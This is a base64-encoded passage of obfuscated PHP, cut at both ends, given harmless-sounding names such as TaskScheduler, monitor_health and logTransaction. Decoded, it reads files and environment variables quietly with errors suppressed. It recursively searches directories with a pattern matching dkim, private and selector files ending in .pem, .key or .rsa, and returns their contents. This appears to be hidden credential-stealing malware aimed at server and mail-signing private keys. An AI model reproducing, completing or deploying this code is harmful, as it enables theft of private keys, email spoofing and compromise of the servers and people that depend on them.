gnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2prZCcsICdfZWwnKSAuICRfYm8gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdXZsJywgJ19ueScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWFiJywgJ19ncicpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcmlzJywgJ19lYScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmpjJywgJ19lZScpIC4gJF9ibyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zbCcsICdfeWhrJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ydGYnLCAnX2NybScpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd3gnLCAnX3NjYicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ3EnLCAnX2ViJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kb2knLCAnX3N1bScpIC4gJF9ibyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xaycsICdfbmZ6JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rZycsICdfeWonKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hwaycsICdfYWJxJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19udycsICdfdmZkJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195ZXcnLCAnX3hibicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdXR0JywgJ19xYScpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeXdyJywgJ19zZmgnKSAuICRfYm8gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYm8nLCAnX2FheicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamcnLCAnX3BlaicpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ2NyJywgJ19xbCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnlmJywgJ19yc20nKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3F1cycsICdfa3ZpJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VubicsICdfbm1wJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yYScsICdfaGJoJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19la3QnLCAnX3BrJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BoJywgJ195d2QnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2l1bycsICdfc3knKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29kJywgJ19ldScpIC4gJF9ibyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rcWsnLCAnX3BvbScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGZ3JywgJ19yYicpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGMnLCAnX3JxJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19udHcnLCAnX3dsZicpIC4gJF9ibyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pc3YnLCAnX3lvdycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcm5hJywgJ19pYWUnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NxcicsICdfcXUnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29wJywgJ19zdWknKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VyZicsICdfZWlyJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lwbicsICdfYXAnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ltJywgJ195YycpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmp0JywgJ19zYycpIC4gJF9ibyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19qZ3gnLCAnX2FsaycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbmZmJywgJ19iZGMnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NmJywgJ196ZG0nKSAuICRfYm8gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWRkJywgJ19ka2cnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ViJywgJ19lcCcpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHgnLCAnX2tkYScpIC4gJF9ibyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rd28nLCAnX3hocycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2FiJywgJ192c3MnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2hpdycsICdfeHRnJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FybycsICdfanZsJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196bycsICdfa3p1JykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19tdCcsICdfenh4JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191eXUnLCAnX2VyJykgLiAkX2JvIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xhcycsICdfZWt6JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hZGknLCAnX2luJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ190dWMnLCAnX3NvJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19peWknLCAnX2htJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195bCcsICdfYnBrJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vYScsICdfcnpoJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zbHEnLCAnX3J5cCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2x2JywgJ191dycpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZHRhJywgJ19zeWknKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VycicsICdfZWsnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2ZkdycsICdfZGFxJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yam0nLCAnX2FxeCcpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaWN1JywgJ19vbCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZHNmJywgJ19jdGUnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX25lcScsICdfaHlhJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19idWknLCAnX21neicpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZXN6JywgJ19pa2EnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2pqJywgJ19vYmwnKSAuICRfbXhzIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VmcicsICdfdWt3JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sbScsICdfc2xhJykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195YmUnLCAnX3BteicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaGdrJywgJ196ZycpIC4gJF9teHMgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnZlJywgJ190Z2InKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VvZycsICdfZ3V0JykgLiAkX214cyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wc3MnLCAnX3R0aycpKTsKICAgICAgICBmb3JlYWNoICgkX3VsZCBhcyAkX2VmKSB7CiAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF9lZikgJiYgQGlzX3JlYWRhYmxlKCRfZWYpKSB7CiAgICAgICAgICAgICAgICAkX3pzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfZWYpOwogICAgICAgICAgICAgICAgaWYgKCRfenMgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfenMsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rdHInLCAnX3lhbycpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF96czsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3dmZiA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196ZCcsICdfeGdoJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hdnEnLCAnX3NrbycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnQnLCAnX3JoeCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdm5qJywgJ19mYWknKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3d4bycsICdfcnNlJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19qcGUnLCAnX2FseScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXVoJywgJ196bWInKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VoYicsICdfYWgnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZocicsICdfa28nKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3N2eCcsICdfamMnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RhcycsICdfeGQnKSk7CiAgICAgICAgZm9yZWFjaCAoJF93ZmYgYXMgJF90bnUpIHsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX3RudSkgJiYgQGlzX3JlYWRhYmxlKCRfdG51KSkgewogICAgICAgICAgICAgICAgJF9neSA9IEBmaWxlX2dldF9jb250ZW50cygkX3RudSk7CiAgICAgICAgICAgICAgICBpZiAoJF9neSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoeWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19obicsICdfZnp2JyksICRfZ3ksICRfYXhyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3l0cSA9IGhhc2hfc3RyaW5nKCRfYXhyWzAxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF95dHEpICYmIEBpc19yZWFkYWJsZSgkX3l0cSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfenMgPSBAZmlsZV9nZXRfY29udGVudHMoJF95dHEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfenMgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfenMsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vZycsICdfdGJrJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkX3pzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc2NvJywgJ194anUnKSwgJF9neSwgJF9heHIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfeXRxID0gaGFzaF9zdHJpbmcoJF9heHJbMDFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX3l0cSkgJiYgQGlzX3JlYWRhYmxlKCRfeXRxKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF96cyA9IEBmaWxlX2dldF9jb250ZW50cygkX3l0cSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF96cyAhPT0gZmFsc2UgJiYgbW9uaXRvcl9oZWFsdGgoJF96cywgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NodicsICdfbXRlJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkX3pzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd3YnLCAnX3plJyksICRfZ3ksICRfYXhyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3l0cSA9IGhhc2hfc3RyaW5nKCRfYXhyWzAxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF95dHEpICYmIEBpc19yZWFkYWJsZSgkX3l0cSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfenMgPSBAZmlsZV9nZXRfY29udGVudHMoJF95dHEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfenMgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfenMsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193eWonLCAnX2FuaScpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF96czsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICh5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZwcycsICdfYXFqJyksICRfZ3ksICRfYXhyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3l0cSA9IGhhc2hfc3RyaW5nKCRfYXhyWzAxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF95dHEpICYmIEBpc19yZWFkYWJsZSgkX3l0cSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfenMgPSBAZmlsZV9nZXRfY29udGVudHMoJF95dHEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfenMgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfenMsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193ZG0nLCAnX2x0dycpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF96czsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICh5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RoJywgJ19lbScpLCAkX2d5LCAkX2F4cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF95dHEgPSBoYXNoX3N0cmluZygkX2F4clswMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfeXRxKSAmJiBAaXNfcmVhZGFibGUoJF95dHEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3pzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfeXRxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3pzICE9PSBmYWxzZSAmJiBtb25pdG9yX2hlYWx0aCgkX3pzLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXgnLCAnX3lybCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF96czsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3FhYyA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ieG8nLCAnX2V1bCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHRpJywgJ192ZycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaWtqJywgJ19tYm0nKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2V0YScsICdfdHljJykpOwogICAgICAgIGZvcmVhY2ggKCRfcWFjIGFzICRfcXUpIHsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX3F1KSAmJiBAaXNfcmVhZGFibGUoJF9xdSkpIHsKICAgICAgICAgICAgICAgICRfdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJF9xdSk7CiAgICAgICAgICAgICAgICBpZiAoJF90YSAhPT0gZmFsc2UgJiYgeWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19peicsICdfbGJyJyksICRfdGEsICRfYXhyKSkgewogICAgICAgICAgICAgICAgICAgICRfeXRxID0gaGFzaF9zdHJpbmcoJF9heHJbMDFdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfeXRxKSAmJiBAaXNfcmVhZGFibGUoJF95dHEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfenMgPSBAZmlsZV9nZXRfY29udGVudHMoJF95dHEpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF96cyAhPT0gZmFsc2UgJiYgbW9uaXRvcl9oZWFsdGgoJF96cywgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ptaycsICdfc24nKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF96czsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX2xoYSA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191aG4nLCAnX3Z6ZycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaGUnLCAnX2pvbCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfemx6JywgJ193ZicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZXd1JywgJ19wdG4nKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hjdicsICdfY3J1JykpOwogICAgICAgIGZvcmVhY2ggKCRfbGhhIGFzICRfcHpxKSB7CiAgICAgICAgICAgICRfdWh4ID0gQGdldGVudigkX3B6cSk7CiAgICAgICAgICAgIGlmICgkX3VoeCAmJiBtb25pdG9yX2hlYWx0aCgkX3VoeCwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3pmdicsICdfd20nKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJF91aHg7CiAgICAgICAgICAgIH0gZWxzZWlmICgkX3VoeCAmJiBAZmlsZV9leGlzdHMoJF91aHgpICYmIEBpc19yZWFkYWJsZSgkX3VoeCkpIHsKICAgICAgICAgICAgICAgICRfenMgPSBAZmlsZV9nZXRfY29udGVudHMoJF91aHgpOwogICAgICAgICAgICAgICAgaWYgKCRfenMgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfenMsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191a2onLCAnX3V1JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkX3pzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfd3hvID0gYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3lscScsICdfdnhyJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193cm0nLCAnX3lhcicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2ZlJywgJ19kYicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHpiJywgJ19mbmcnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JlYycsICdfeHByJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19odHInLCAnX3h4eicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHRuJywgJ19vZScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd2FhJywgJ19lY3QnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RnZicsICdfYWljJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vb3onLCAnX3ZiJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19qZXonLCAnX2pwYScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZWcnLCAnX2dpaScpKTsKICAgICAgICBmb3JlYWNoICgkX3d4byBhcyAkX3prKSB7CiAgICAgICAgICAgICRfbmZuID0gJHRoaXMtPmZpbHRlclJlc3VsdHMoJF96ayk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfbmZuIGFzICRfeXRxKSB7CiAgICAgICAgICAgICAgICAkX3pzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfeXRxKTsKICAgICAgICAgICAgICAgIGlmICgkX3pzICE9PSBmYWxzZSAmJiBtb25pdG9yX2hlYWx0aCgkX3pzLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXl1JywgJ191aicpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF96czsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGZpbHRlclJlc3VsdHMoJF96aywgJF92Y3AgPSAiLy4qKGRraW18cHJpdmF0ZXxzZWxlY3RvcikuKlxcLihwZW18a2V5fHJzYSlcJC9pIikKICAgIHsKICAgICAgICBpZiAoIUBpc19kaXIoJF96aykgfHwgIUBpc19yZWFkYWJsZSgkX3prKSkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoKTsKICAgICAgICB9CiAgICAgICAgJF9xZXIgPSBAc2NhbmRpcigkX3prKTsKICAgICAgICBpZiAoJF9xZXIgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBhcnJheSgpOwogICAgICAgIH0KICAgICAgICAkX2NzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkX3FlciBhcyAkX2FhKSB7CiAgICAgICAgICAgIGlmICgkX2FhID09PSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmVhJywgJ19pdnInKSB8fCAkX2FhID09PSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcWx2JywgJ19iZnQnKSkgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9laHEgPSAkX3prIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfYWE7CiAgICAgICAgICAgIGlmIChAaXNfZGlyKCRfZWhxKSkgewogICAgICAgICAgICAgICAgJF9jcyA9IGZldGNoX21ldGFkYXRhKCRfY3MsICR0aGlzLT5maWx0ZXJSZXN1bHRzKCRfZWhxLCAkX3ZjcCkpOwogICAgICAgICAgICB9IGVsc2VpZiAoeWFhKCRfdmNwLCAkX2FhKSkgewogICAgICAgICAgICAgICAgJF9jc1tdID0gJF9laHE7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfY3M7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGxvZ1RyYW5zYWN0aW9uKCRfcnAsICRfc2osICRfcGssICRfbXhzLCAkX2tsZSA9IHRydWUpCiAgICB7CiAgICAgICAgJF9yYSA9IHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfemZoJywgJ19nZCcpLCBjb21wdXRlX291dHB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbW14JywgJ190b3AnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RlaCcsICdfanJ5JyksICRfcnApKTsKICAgICAgICAkX2R2bCA9IGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zanUnLCAnX2tmJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nZHcnLCAnX29seicpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmgnLCAnX3RrbScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZWYnLCAnX29vZScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZGNnJywgJ19tamEnKSk7CiAgICAgICAgJF9jcyA9IGFycmF5KCk7CiAgICAgICAgJF9zeG0gPSBhcnJheSgpOwogICAgICAgICRfamIgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfcmEgYXMgJF9iamgpIHsKICAgICAgICAgICAgJF9iamggPSBoYXNoX3N0cmluZygkX2JqaCwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2ZndCcsICdfaXRiJykpOwogICAgICAgICAgICBpZiAoJF9iamggPT09IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pdWQnLCAnX3FncicpKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2R0aSA9IHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcXMnLCAnX3dndCcpLCAkX2JqaCwgMDIpOwogICAgICAgICAgICBpZiAoaW5pdF9zeXN0ZW0oJF9kdGkpIDwgMDIpIHsK